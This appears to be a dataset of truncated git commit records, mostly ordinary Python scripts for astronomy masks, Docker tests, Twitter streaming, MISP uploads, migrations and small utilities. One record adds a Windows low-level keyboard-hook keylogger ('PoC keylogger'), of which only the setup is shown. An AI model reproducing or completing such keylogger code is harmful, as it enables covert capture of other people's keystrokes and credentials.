mask = fits.open("M33_14B-088_HI_mask_modified.fits", mode='update')
pbcov = fits.getdata("M33_14B-088_pbcor.fits")
pb_thresh = 0.2
pb_mask = pbcov > pb_thresh
struct = disk(100)... | Mask dilation to include missing flux near some edges
'''
Dilate the existing clean mask.
'''
from astropy.io import fits
from skimage.morphology import disk
from scipy import ndimage as nd
mask = fits.open("M33_14B-088_HI_mask_modified.fits", mode='update')
pbcov = fits.getdata("M33_14B-088_pbcor.fits")
pb_thresh ... | <commit_before><commit_msg>Mask dilation to include missing flux near some edges<commit_after>
'''
Dilate the existing clean mask.
'''
from astropy.io import fits
from skimage.morphology import disk
from scipy import ndimage as nd
mask = fits.open("M33_14B-088_HI_mask_modified.fits", mode='update')
pbcov = fits.getd... | |
67ecc5e673b516de7d438f9294eac43203f6461f | sip/execution_control/docker_api/docker_client/tests/test_pcube.py | sip/execution_control/docker_api/docker_client/tests/test_pcube.py | # -*- coding: utf-8 -*-
"""Test for docker client API on P3."""
import logging
import os
from ..docker_client import DockerClient
logging.basicConfig(level=os.getenv('SIP_DOCKER_API_LOG_LEVEL', 'DEBUG'))
DC = DockerClient()
FILE_PATH = os.path.dirname(__file__)
def test_log_driver():
"""Test function to check... | Test script for docker swarm api on p3 | Test script for docker swarm api on p3
| Python | bsd-3-clause | SKA-ScienceDataProcessor/integration-prototype,SKA-ScienceDataProcessor/integration-prototype,SKA-ScienceDataProcessor/integration-prototype,SKA-ScienceDataProcessor/integration-prototype | Test script for docker swarm api on p3 | # -*- coding: utf-8 -*-
"""Test for docker client API on P3."""
import logging
import os
from ..docker_client import DockerClient
logging.basicConfig(level=os.getenv('SIP_DOCKER_API_LOG_LEVEL', 'DEBUG'))
DC = DockerClient()
FILE_PATH = os.path.dirname(__file__)
def test_log_driver():
"""Test function to check... | <commit_before><commit_msg>Test script for docker swarm api on p3<commit_after> | # -*- coding: utf-8 -*-
"""Test for docker client API on P3."""
import logging
import os
from ..docker_client import DockerClient
logging.basicConfig(level=os.getenv('SIP_DOCKER_API_LOG_LEVEL', 'DEBUG'))
DC = DockerClient()
FILE_PATH = os.path.dirname(__file__)
def test_log_driver():
"""Test function to check... | Test script for docker swarm api on p3# -*- coding: utf-8 -*-
"""Test for docker client API on P3."""
import logging
import os
from ..docker_client import DockerClient
logging.basicConfig(level=os.getenv('SIP_DOCKER_API_LOG_LEVEL', 'DEBUG'))
DC = DockerClient()
FILE_PATH = os.path.dirname(__file__)
def test_log_d... | <commit_before><commit_msg>Test script for docker swarm api on p3<commit_after># -*- coding: utf-8 -*-
"""Test for docker client API on P3."""
import logging
import os
from ..docker_client import DockerClient
logging.basicConfig(level=os.getenv('SIP_DOCKER_API_LOG_LEVEL', 'DEBUG'))
DC = DockerClient()
FILE_PATH = o... | |
2bf6679ae64c274f1a228a16fa365daa9bb19ae3 | twitter_streaming.py | twitter_streaming.py | # This uses Tweepy, a Python library for accessing the Twitter API:
# http://www.tweepy.org. Install with `pip install tweepy`.
from tweepy.streaming import StreamListener
from tweepy import OAuthHandler
from tweepy import Stream
with open('twitter_api_key.txt') as fileHandle:
(access_token, access_token_secret, ... | Add main Twitter stream capture script | Add main Twitter stream capture script
| Python | mit | 0x7df/twitter2pocket | Add main Twitter stream capture script | # This uses Tweepy, a Python library for accessing the Twitter API:
# http://www.tweepy.org. Install with `pip install tweepy`.
from tweepy.streaming import StreamListener
from tweepy import OAuthHandler
from tweepy import Stream
with open('twitter_api_key.txt') as fileHandle:
(access_token, access_token_secret, ... | <commit_before><commit_msg>Add main Twitter stream capture script<commit_after> | # This uses Tweepy, a Python library for accessing the Twitter API:
# http://www.tweepy.org. Install with `pip install tweepy`.
from tweepy.streaming import StreamListener
from tweepy import OAuthHandler
from tweepy import Stream
with open('twitter_api_key.txt') as fileHandle:
(access_token, access_token_secret, ... | Add main Twitter stream capture script# This uses Tweepy, a Python library for accessing the Twitter API:
# http://www.tweepy.org. Install with `pip install tweepy`.
from tweepy.streaming import StreamListener
from tweepy import OAuthHandler
from tweepy import Stream
with open('twitter_api_key.txt') as fileHandle:
... | <commit_before><commit_msg>Add main Twitter stream capture script<commit_after># This uses Tweepy, a Python library for accessing the Twitter API:
# http://www.tweepy.org. Install with `pip install tweepy`.
from tweepy.streaming import StreamListener
from tweepy import OAuthHandler
from tweepy import Stream
with open... | |
d3dce2e89c41abb35aac5b54c0ef03481b843e89 | Orange/tests/sql/test_pca.py | Orange/tests/sql/test_pca.py | import unittest
from unittest.mock import patch, MagicMock
from Orange.data import DiscreteVariable, Domain
from Orange.data.sql.table import SqlTable
from Orange.projection.pca import RemotePCA
from Orange.tests.sql.base import sql_test, connection_params
@sql_test
class PCATest(unittest.TestCase):
@patch("Oran... | Add test for RemotePCA (run locally) | Add test for RemotePCA (run locally)
| Python | bsd-2-clause | qPCR4vir/orange3,kwikadi/orange3,marinkaz/orange3,qPCR4vir/orange3,cheral/orange3,marinkaz/orange3,marinkaz/orange3,qPCR4vir/orange3,marinkaz/orange3,kwikadi/orange3,kwikadi/orange3,kwikadi/orange3,kwikadi/orange3,marinkaz/orange3,cheral/orange3,qPCR4vir/orange3,qPCR4vir/orange3,cheral/orange3,cheral/orange3,marinkaz/o... | Add test for RemotePCA (run locally) | import unittest
from unittest.mock import patch, MagicMock
from Orange.data import DiscreteVariable, Domain
from Orange.data.sql.table import SqlTable
from Orange.projection.pca import RemotePCA
from Orange.tests.sql.base import sql_test, connection_params
@sql_test
class PCATest(unittest.TestCase):
@patch("Oran... | <commit_before><commit_msg>Add test for RemotePCA (run locally)<commit_after> | import unittest
from unittest.mock import patch, MagicMock
from Orange.data import DiscreteVariable, Domain
from Orange.data.sql.table import SqlTable
from Orange.projection.pca import RemotePCA
from Orange.tests.sql.base import sql_test, connection_params
@sql_test
class PCATest(unittest.TestCase):
@patch("Oran... | Add test for RemotePCA (run locally)import unittest
from unittest.mock import patch, MagicMock
from Orange.data import DiscreteVariable, Domain
from Orange.data.sql.table import SqlTable
from Orange.projection.pca import RemotePCA
from Orange.tests.sql.base import sql_test, connection_params
@sql_test
class PCATest(... | <commit_before><commit_msg>Add test for RemotePCA (run locally)<commit_after>import unittest
from unittest.mock import patch, MagicMock
from Orange.data import DiscreteVariable, Domain
from Orange.data.sql.table import SqlTable
from Orange.projection.pca import RemotePCA
from Orange.tests.sql.base import sql_test, con... | |
58bfd30a23d68540abd92d4d8c3a32d2636108a4 | examples/add_attachement.py | examples/add_attachement.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from pymisp import PyMISP
from keys import priv
import argparse
import os
import glob
import base64
import json
import time
url = 'https://misppriv.circl.lu'
def init(url, key):
return PyMISP(url, key, True, 'json')
def upload_file(m, eid, path):
curevent = mi... | Add test script to add attachement to event | Add test script to add attachement to event
| Python | bsd-2-clause | grolinet/PyMISP,pombredanne/PyMISP,iglocska/PyMISP | Add test script to add attachement to event | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from pymisp import PyMISP
from keys import priv
import argparse
import os
import glob
import base64
import json
import time
url = 'https://misppriv.circl.lu'
def init(url, key):
return PyMISP(url, key, True, 'json')
def upload_file(m, eid, path):
curevent = mi... | <commit_before><commit_msg>Add test script to add attachement to event<commit_after> | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from pymisp import PyMISP
from keys import priv
import argparse
import os
import glob
import base64
import json
import time
url = 'https://misppriv.circl.lu'
def init(url, key):
return PyMISP(url, key, True, 'json')
def upload_file(m, eid, path):
curevent = mi... | Add test script to add attachement to event#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pymisp import PyMISP
from keys import priv
import argparse
import os
import glob
import base64
import json
import time
url = 'https://misppriv.circl.lu'
def init(url, key):
return PyMISP(url, key, True, 'json')
def u... | <commit_before><commit_msg>Add test script to add attachement to event<commit_after>#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pymisp import PyMISP
from keys import priv
import argparse
import os
import glob
import base64
import json
import time
url = 'https://misppriv.circl.lu'
def init(url, key):
retu... | |
2f3a60f9163dc99b2329effe256a587e50027993 | dev_tools/src/d1_dev/pycharm-fix-coverage-paths.py | dev_tools/src/d1_dev/pycharm-fix-coverage-paths.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""PyCharm can't resolve the relative paths written by pytest's coverage plugin.
This converts them to absolute, which PyCharm handles.
"""
import logging
import os
import xml.etree.ElementTree
import d1_dev.util
import d1_common.type_conversions
import d1_common.util
im... | Add script that fixes paths in coverage.xml for use in PyCharm | Add script that fixes paths in coverage.xml for use in PyCharm
| Python | apache-2.0 | DataONEorg/d1_python,DataONEorg/d1_python,DataONEorg/d1_python,DataONEorg/d1_python | Add script that fixes paths in coverage.xml for use in PyCharm | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""PyCharm can't resolve the relative paths written by pytest's coverage plugin.
This converts them to absolute, which PyCharm handles.
"""
import logging
import os
import xml.etree.ElementTree
import d1_dev.util
import d1_common.type_conversions
import d1_common.util
im... | <commit_before><commit_msg>Add script that fixes paths in coverage.xml for use in PyCharm<commit_after> | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""PyCharm can't resolve the relative paths written by pytest's coverage plugin.
This converts them to absolute, which PyCharm handles.
"""
import logging
import os
import xml.etree.ElementTree
import d1_dev.util
import d1_common.type_conversions
import d1_common.util
im... | Add script that fixes paths in coverage.xml for use in PyCharm#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""PyCharm can't resolve the relative paths written by pytest's coverage plugin.
This converts them to absolute, which PyCharm handles.
"""
import logging
import os
import xml.etree.ElementTree
import d1_dev.ut... | <commit_before><commit_msg>Add script that fixes paths in coverage.xml for use in PyCharm<commit_after>#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""PyCharm can't resolve the relative paths written by pytest's coverage plugin.
This converts them to absolute, which PyCharm handles.
"""
import logging
import os
impor... | |
2740cd71b836bfe86819aea9c4a71e64c42a5f2a | hooking.py | hooking.py | # -*- coding: utf-8 -*-
"""
Created on Sat Sep 17 01:16:23 2016
@author: John Troony
"""
import sys
from ctypes import *
from ctypes.wintypes import MSG
from ctypes.wintypes import DWORD
user32 = windll.user32
kernel32 = windll.kernel32
WH_KEYBOARD_LL=13
WM_KEYDOWN=0x0100
CTRL_CODE = 162
class KeyLogger:
key... | Add a Python PoC keylogger | Add a Python PoC keylogger
| Python | cc0-1.0 | JohnTroony/Scriptology,JohnTroony/Scriptology,JohnTroony/Scriptology,JohnTroony/Scriptology,JohnTroony/Scriptology,JohnTroony/Scriptology | Add a Python PoC keylogger | # -*- coding: utf-8 -*-
"""
Created on Sat Sep 17 01:16:23 2016
@author: John Troony
"""
import sys
from ctypes import *
from ctypes.wintypes import MSG
from ctypes.wintypes import DWORD
user32 = windll.user32
kernel32 = windll.kernel32
WH_KEYBOARD_LL=13
WM_KEYDOWN=0x0100
CTRL_CODE = 162
class KeyLogger:
key... | <commit_before><commit_msg>Add a Python PoC keylogger<commit_after> | # -*- coding: utf-8 -*-
"""
Created on Sat Sep 17 01:16:23 2016
@author: John Troony
"""
import sys
from ctypes import *
from ctypes.wintypes import MSG
from ctypes.wintypes import DWORD
user32 = windll.user32
kernel32 = windll.kernel32
WH_KEYBOARD_LL=13
WM_KEYDOWN=0x0100
CTRL_CODE = 162
class KeyLogger:
key... | Add a Python PoC keylogger# -*- coding: utf-8 -*-
"""
Created on Sat Sep 17 01:16:23 2016
@author: John Troony
"""
import sys
from ctypes import *
from ctypes.wintypes import MSG
from ctypes.wintypes import DWORD
user32 = windll.user32
kernel32 = windll.kernel32
WH_KEYBOARD_LL=13
WM_KEYDOWN=0x0100
CTRL_CODE = 162
... | <commit_before><commit_msg>Add a Python PoC keylogger<commit_after># -*- coding: utf-8 -*-
"""
Created on Sat Sep 17 01:16:23 2016
@author: John Troony
"""
import sys
from ctypes import *
from ctypes.wintypes import MSG
from ctypes.wintypes import DWORD
user32 = windll.user32
kernel32 = windll.kernel32
WH_KEYBOARD_... | |
53a575f3b1da3e3edccc8f7e2d958134d724b3d4 | testsuite/python/modDataSeq.py | testsuite/python/modDataSeq.py | # -*- coding: utf-8 -*-
## @file testsuite/python/modDataSeqTest.py
## @date feb. 2016
## @author PhRG - opticalp.fr
##
## Test the data push system
#
# Copyright (c) 2016 Ph. Renaud-Goud / Opticalp
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated... | Add a simple test for the push model | Add a simple test for the push model
| Python | mit | Opticalp/instrumentall,Opticalp/instrumentall,Opticalp/instrumentall,Opticalp/instrumentall | Add a simple test for the push model | # -*- coding: utf-8 -*-
## @file testsuite/python/modDataSeqTest.py
## @date feb. 2016
## @author PhRG - opticalp.fr
##
## Test the data push system
#
# Copyright (c) 2016 Ph. Renaud-Goud / Opticalp
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated... | <commit_before><commit_msg>Add a simple test for the push model<commit_after> | # -*- coding: utf-8 -*-
## @file testsuite/python/modDataSeqTest.py
## @date feb. 2016
## @author PhRG - opticalp.fr
##
## Test the data push system
#
# Copyright (c) 2016 Ph. Renaud-Goud / Opticalp
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated... | Add a simple test for the push model# -*- coding: utf-8 -*-
## @file testsuite/python/modDataSeqTest.py
## @date feb. 2016
## @author PhRG - opticalp.fr
##
## Test the data push system
#
# Copyright (c) 2016 Ph. Renaud-Goud / Opticalp
#
# Permission is hereby granted, free of charge, to any person obtaining a co... | <commit_before><commit_msg>Add a simple test for the push model<commit_after># -*- coding: utf-8 -*-
## @file testsuite/python/modDataSeqTest.py
## @date feb. 2016
## @author PhRG - opticalp.fr
##
## Test the data push system
#
# Copyright (c) 2016 Ph. Renaud-Goud / Opticalp
#
# Permission is hereby granted, fre... | |
7b660d90dd7e9c1518a925a174d43180a46f5d4d | src/utils/plot_gmm.py | src/utils/plot_gmm.py | import numpy as np
import matplotlib as mpl
import matplotlib.pyplot as plt
from mpl_toolkits.basemap import Basemap
@staticmethod
def plot_gmm(gmm, true_ll=False):
"""Plots the contour map of a GMM on top of a world map
Partially from: http://matplotlib.org/basemap/users/examples.html
Will also plot th... | Add a method which will plot the countour map of a GMM on a map of the world as well as the best location and true position if given | Add a method which will plot the countour map of a GMM on a map of the world as well as the best location and true position if given
| Python | apache-2.0 | vivek8943/soft-boiled | Add a method which will plot the countour map of a GMM on a map of the world as well as the best location and true position if given | import numpy as np
import matplotlib as mpl
import matplotlib.pyplot as plt
from mpl_toolkits.basemap import Basemap
@staticmethod
def plot_gmm(gmm, true_ll=False):
"""Plots the contour map of a GMM on top of a world map
Partially from: http://matplotlib.org/basemap/users/examples.html
Will also plot th... | <commit_before><commit_msg>Add a method which will plot the countour map of a GMM on a map of the world as well as the best location and true position if given<commit_after> | import numpy as np
import matplotlib as mpl
import matplotlib.pyplot as plt
from mpl_toolkits.basemap import Basemap
@staticmethod
def plot_gmm(gmm, true_ll=False):
"""Plots the contour map of a GMM on top of a world map
Partially from: http://matplotlib.org/basemap/users/examples.html
Will also plot th... | Add a method which will plot the countour map of a GMM on a map of the world as well as the best location and true position if givenimport numpy as np
import matplotlib as mpl
import matplotlib.pyplot as plt
from mpl_toolkits.basemap import Basemap
@staticmethod
def plot_gmm(gmm, true_ll=False):
"""Plots the co... | <commit_before><commit_msg>Add a method which will plot the countour map of a GMM on a map of the world as well as the best location and true position if given<commit_after>import numpy as np
import matplotlib as mpl
import matplotlib.pyplot as plt
from mpl_toolkits.basemap import Basemap
@staticmethod
def plot_gmm... | |
da87b9fafcb1bec8541d11f1f2650c7cd86c22c0 | src/send_mails.py | src/send_mails.py | from argparse import ArgumentParser
from teammails import informal_to_teams
def parse_args():
args = ArgumentParser()
args.add_argument("--nodebug", help="do really send the mails to the teams", action="store_true")
subs = args.add_subparsers()
informal = subs.add_parser("informal", help="send infor... | Add a script to invoke the mail sending. | Add a script to invoke the mail sending.
| Python | bsd-3-clause | eXma/meet-and-eat-registration-system,eXma/meet-and-eat-registration-system,janLo/meet-and-eat-registration-system,eXma/meet-and-eat-registration-system,janLo/meet-and-eat-registration-system,janLo/meet-and-eat-registration-system,janLo/meet-and-eat-registration-system,eXma/meet-and-eat-registration-system | Add a script to invoke the mail sending. | from argparse import ArgumentParser
from teammails import informal_to_teams
def parse_args():
args = ArgumentParser()
args.add_argument("--nodebug", help="do really send the mails to the teams", action="store_true")
subs = args.add_subparsers()
informal = subs.add_parser("informal", help="send infor... | <commit_before><commit_msg>Add a script to invoke the mail sending.<commit_after> | from argparse import ArgumentParser
from teammails import informal_to_teams
def parse_args():
args = ArgumentParser()
args.add_argument("--nodebug", help="do really send the mails to the teams", action="store_true")
subs = args.add_subparsers()
informal = subs.add_parser("informal", help="send infor... | Add a script to invoke the mail sending.from argparse import ArgumentParser
from teammails import informal_to_teams
def parse_args():
args = ArgumentParser()
args.add_argument("--nodebug", help="do really send the mails to the teams", action="store_true")
subs = args.add_subparsers()
informal = subs... | <commit_before><commit_msg>Add a script to invoke the mail sending.<commit_after>from argparse import ArgumentParser
from teammails import informal_to_teams
def parse_args():
args = ArgumentParser()
args.add_argument("--nodebug", help="do really send the mails to the teams", action="store_true")
subs = ... | |
a4b5e6f522e3c9af502e6fbddd0dbefbae491c2e | src/server/app.py | src/server/app.py | import rumps
import threading
from server import CamsketchServer
class CamsketchStatusBarApp(rumps.App):
def __init__(self, address):
super(CamsketchStatusBarApp, self).__init__("Camsketch")
self.menu = [address]
if __name__ == "__main__":
server = CamsketchServer()
threading.Thread(targ... | Add status bar module to server. | Add status bar module to server. | Python | mit | pdubroy/camsketch,pdubroy/camsketch,pdubroy/camsketch,pdubroy/camsketch | Add status bar module to server. | import rumps
import threading
from server import CamsketchServer
class CamsketchStatusBarApp(rumps.App):
def __init__(self, address):
super(CamsketchStatusBarApp, self).__init__("Camsketch")
self.menu = [address]
if __name__ == "__main__":
server = CamsketchServer()
threading.Thread(targ... | <commit_before><commit_msg>Add status bar module to server.<commit_after> | import rumps
import threading
from server import CamsketchServer
class CamsketchStatusBarApp(rumps.App):
def __init__(self, address):
super(CamsketchStatusBarApp, self).__init__("Camsketch")
self.menu = [address]
if __name__ == "__main__":
server = CamsketchServer()
threading.Thread(targ... | Add status bar module to server.import rumps
import threading
from server import CamsketchServer
class CamsketchStatusBarApp(rumps.App):
def __init__(self, address):
super(CamsketchStatusBarApp, self).__init__("Camsketch")
self.menu = [address]
if __name__ == "__main__":
server = CamsketchSe... | <commit_before><commit_msg>Add status bar module to server.<commit_after>import rumps
import threading
from server import CamsketchServer
class CamsketchStatusBarApp(rumps.App):
def __init__(self, address):
super(CamsketchStatusBarApp, self).__init__("Camsketch")
self.menu = [address]
if __name_... | |
ed56e054d74be6d77209aa03fd532d8a9e9f4e98 | zou/migrations/versions/818f7bda2528_.py | zou/migrations/versions/818f7bda2528_.py | """empty message
Revision ID: 818f7bda2528
Revises: bf1347acdee2
Create Date: 2018-04-10 22:45:19.462757
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = '818f7bda2528'
down_revision = 'bf1347acdee2'
branch_labels = None
depends_on = None
def upgrade():
# ... | Add migration file for preview path field | Add migration file for preview path field
| Python | agpl-3.0 | cgwire/zou | Add migration file for preview path field | """empty message
Revision ID: 818f7bda2528
Revises: bf1347acdee2
Create Date: 2018-04-10 22:45:19.462757
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = '818f7bda2528'
down_revision = 'bf1347acdee2'
branch_labels = None
depends_on = None
def upgrade():
# ... | <commit_before><commit_msg>Add migration file for preview path field<commit_after> | """empty message
Revision ID: 818f7bda2528
Revises: bf1347acdee2
Create Date: 2018-04-10 22:45:19.462757
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = '818f7bda2528'
down_revision = 'bf1347acdee2'
branch_labels = None
depends_on = None
def upgrade():
# ... | Add migration file for preview path field"""empty message
Revision ID: 818f7bda2528
Revises: bf1347acdee2
Create Date: 2018-04-10 22:45:19.462757
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = '818f7bda2528'
down_revision = 'bf1347acdee2'
branch_labels = None
... | <commit_before><commit_msg>Add migration file for preview path field<commit_after>"""empty message
Revision ID: 818f7bda2528
Revises: bf1347acdee2
Create Date: 2018-04-10 22:45:19.462757
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = '818f7bda2528'
down_revisi... | |
069b48615b13540c2b1d4a4d62eeaa564416718c | contrib/tempest/tempest/scenario/congress_datasources/test_ceilometer.py | contrib/tempest/tempest/scenario/congress_datasources/test_ceilometer.py | # Copyright 2014 OpenStack Foundation
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requ... | Add tempest code coverage for ceilometer driver | Add tempest code coverage for ceilometer driver
Change-Id: I6dc9200d1096823e9046fbfcae3222ffb2c21ff5
Closes-Bug: #1378133
| Python | apache-2.0 | ekcs/congress,ramineni/my_congress,ekcs/congress,openstack/congress,ramineni/my_congress,ramineni/my_congress,openstack/congress,ramineni/my_congress,ekcs/congress,ekcs/congress | Add tempest code coverage for ceilometer driver
Change-Id: I6dc9200d1096823e9046fbfcae3222ffb2c21ff5
Closes-Bug: #1378133 | # Copyright 2014 OpenStack Foundation
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requ... | <commit_before><commit_msg>Add tempest code coverage for ceilometer driver
Change-Id: I6dc9200d1096823e9046fbfcae3222ffb2c21ff5
Closes-Bug: #1378133<commit_after> | # Copyright 2014 OpenStack Foundation
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requ... | Add tempest code coverage for ceilometer driver
Change-Id: I6dc9200d1096823e9046fbfcae3222ffb2c21ff5
Closes-Bug: #1378133# Copyright 2014 OpenStack Foundation
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the Licen... | <commit_before><commit_msg>Add tempest code coverage for ceilometer driver
Change-Id: I6dc9200d1096823e9046fbfcae3222ffb2c21ff5
Closes-Bug: #1378133<commit_after># Copyright 2014 OpenStack Foundation
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this... | |
f3a5546d39a6430f60c9a34f279bf1e7b22076da | small-functions/add-tab-for-nonstandard-md-code.py | small-functions/add-tab-for-nonstandard-md-code.py | #!/usr/bin/env python
#encoding:utf-8
import os
import time
def add_tab(path):
with open(path,'r') as f:
flag = False
data = ''
tmp = '111'
count = 0
while tmp != '':
tmp = f.readline()
if tmp == '```\n':
if flag:
... | USE STANDARD MARKDOWN GRAMMER!!!!! ESPECIALLY CODE!! | USE STANDARD MARKDOWN GRAMMER!!!!! ESPECIALLY CODE!!
| Python | apache-2.0 | kiya-z/Kython | USE STANDARD MARKDOWN GRAMMER!!!!! ESPECIALLY CODE!! | #!/usr/bin/env python
#encoding:utf-8
import os
import time
def add_tab(path):
with open(path,'r') as f:
flag = False
data = ''
tmp = '111'
count = 0
while tmp != '':
tmp = f.readline()
if tmp == '```\n':
if flag:
... | <commit_before><commit_msg>USE STANDARD MARKDOWN GRAMMER!!!!! ESPECIALLY CODE!!<commit_after> | #!/usr/bin/env python
#encoding:utf-8
import os
import time
def add_tab(path):
with open(path,'r') as f:
flag = False
data = ''
tmp = '111'
count = 0
while tmp != '':
tmp = f.readline()
if tmp == '```\n':
if flag:
... | USE STANDARD MARKDOWN GRAMMER!!!!! ESPECIALLY CODE!!#!/usr/bin/env python
#encoding:utf-8
import os
import time
def add_tab(path):
with open(path,'r') as f:
flag = False
data = ''
tmp = '111'
count = 0
while tmp != '':
tmp = f.readline()
if tmp == '`... | <commit_before><commit_msg>USE STANDARD MARKDOWN GRAMMER!!!!! ESPECIALLY CODE!!<commit_after>#!/usr/bin/env python
#encoding:utf-8
import os
import time
def add_tab(path):
with open(path,'r') as f:
flag = False
data = ''
tmp = '111'
count = 0
while tmp != '':
tmp... | |
fc2a3635a37cd1dcfc2ea8705e2cae37b083b6a2 | lintcode/Easy/181_Flip_Bits.py | lintcode/Easy/181_Flip_Bits.py | class Solution:
"""
@param a, b: Two integer
return: An integer
"""
def bitSwapRequired(self, a, b):
# write your code here
return bin((a^b) & 0xffffffff).count('1')
| Add solution to lintcode problem 181 | Add solution to lintcode problem 181
| Python | mit | Rhadow/leetcode,Rhadow/leetcode,Rhadow/leetcode,Rhadow/leetcode | Add solution to lintcode problem 181 | class Solution:
"""
@param a, b: Two integer
return: An integer
"""
def bitSwapRequired(self, a, b):
# write your code here
return bin((a^b) & 0xffffffff).count('1')
| <commit_before><commit_msg>Add solution to lintcode problem 181<commit_after> | class Solution:
"""
@param a, b: Two integer
return: An integer
"""
def bitSwapRequired(self, a, b):
# write your code here
return bin((a^b) & 0xffffffff).count('1')
| Add solution to lintcode problem 181class Solution:
"""
@param a, b: Two integer
return: An integer
"""
def bitSwapRequired(self, a, b):
# write your code here
return bin((a^b) & 0xffffffff).count('1')
| <commit_before><commit_msg>Add solution to lintcode problem 181<commit_after>class Solution:
"""
@param a, b: Two integer
return: An integer
"""
def bitSwapRequired(self, a, b):
# write your code here
return bin((a^b) & 0xffffffff).count('1')
| |
74ac965c451f29faa344be0161ebb419395faa6e | entities/context_processors.py | entities/context_processors.py | from . import models
from django.conf import settings
def groups(request):
return {
'about_group': models.Group.objects.filter(id=settings.ABOUT_GROUP_ID).first(),
'all_sidebar_groups': models.Group.objects.scored().order_by('-score'),
}
def statistics(request):
return {
... | from . import models
from django.conf import settings
from django.contrib.auth import hashers
def groups(request):
return {
'about_group': models.Group.objects.filter(id=settings.ABOUT_GROUP_ID).first(),
'all_sidebar_groups': models.Group.objects.scored().order_by('-score'),
}
... | Exclude unusable users from stats | Exclude unusable users from stats
| Python | agpl-3.0 | stadtgestalten/stadtgestalten,stadtgestalten/stadtgestalten,stadtgestalten/stadtgestalten | from . import models
from django.conf import settings
def groups(request):
return {
'about_group': models.Group.objects.filter(id=settings.ABOUT_GROUP_ID).first(),
'all_sidebar_groups': models.Group.objects.scored().order_by('-score'),
}
def statistics(request):
return {
... | from . import models
from django.conf import settings
from django.contrib.auth import hashers
def groups(request):
return {
'about_group': models.Group.objects.filter(id=settings.ABOUT_GROUP_ID).first(),
'all_sidebar_groups': models.Group.objects.scored().order_by('-score'),
}
... | <commit_before>from . import models
from django.conf import settings
def groups(request):
return {
'about_group': models.Group.objects.filter(id=settings.ABOUT_GROUP_ID).first(),
'all_sidebar_groups': models.Group.objects.scored().order_by('-score'),
}
def statistics(request):
... | from . import models
from django.conf import settings
from django.contrib.auth import hashers
def groups(request):
return {
'about_group': models.Group.objects.filter(id=settings.ABOUT_GROUP_ID).first(),
'all_sidebar_groups': models.Group.objects.scored().order_by('-score'),
}
... | from . import models
from django.conf import settings
def groups(request):
return {
'about_group': models.Group.objects.filter(id=settings.ABOUT_GROUP_ID).first(),
'all_sidebar_groups': models.Group.objects.scored().order_by('-score'),
}
def statistics(request):
return {
... | <commit_before>from . import models
from django.conf import settings
def groups(request):
return {
'about_group': models.Group.objects.filter(id=settings.ABOUT_GROUP_ID).first(),
'all_sidebar_groups': models.Group.objects.scored().order_by('-score'),
}
def statistics(request):
... |
60b7935b1848de5675601d64fc78909a557684ae | osf/management/commands/add_egap_registration_schema.py | osf/management/commands/add_egap_registration_schema.py | # -*- coding: utf-8 -*-
import logging
from django.core.management.base import BaseCommand
from osf.models import RegistrationSchema
from website.project.metadata.schemas import ensure_schema_structure, from_json
logger = logging.getLogger(__name__)
class Command(BaseCommand):
"""Add egap-registration schema to... | Add a management command for adding egap registration schema. | Add a management command for adding egap registration schema.
| Python | apache-2.0 | felliott/osf.io,mattclark/osf.io,saradbowman/osf.io,aaxelb/osf.io,cslzchen/osf.io,baylee-d/osf.io,felliott/osf.io,Johnetordoff/osf.io,adlius/osf.io,mfraezz/osf.io,brianjgeiger/osf.io,adlius/osf.io,adlius/osf.io,brianjgeiger/osf.io,saradbowman/osf.io,Johnetordoff/osf.io,pattisdr/osf.io,baylee-d/osf.io,aaxelb/osf.io,patt... | Add a management command for adding egap registration schema. | # -*- coding: utf-8 -*-
import logging
from django.core.management.base import BaseCommand
from osf.models import RegistrationSchema
from website.project.metadata.schemas import ensure_schema_structure, from_json
logger = logging.getLogger(__name__)
class Command(BaseCommand):
"""Add egap-registration schema to... | <commit_before><commit_msg>Add a management command for adding egap registration schema.<commit_after> | # -*- coding: utf-8 -*-
import logging
from django.core.management.base import BaseCommand
from osf.models import RegistrationSchema
from website.project.metadata.schemas import ensure_schema_structure, from_json
logger = logging.getLogger(__name__)
class Command(BaseCommand):
"""Add egap-registration schema to... | Add a management command for adding egap registration schema.# -*- coding: utf-8 -*-
import logging
from django.core.management.base import BaseCommand
from osf.models import RegistrationSchema
from website.project.metadata.schemas import ensure_schema_structure, from_json
logger = logging.getLogger(__name__)
class... | <commit_before><commit_msg>Add a management command for adding egap registration schema.<commit_after># -*- coding: utf-8 -*-
import logging
from django.core.management.base import BaseCommand
from osf.models import RegistrationSchema
from website.project.metadata.schemas import ensure_schema_structure, from_json
log... | |
cf1d9fceb5b929a9f96acf7d0dca270109659e84 | scripts/filter_csv.py | scripts/filter_csv.py | #!/usr/bin/env python3
import os
import sys
import logging
import csv
import argparse
from signal import signal, SIGPIPE, SIG_DFL
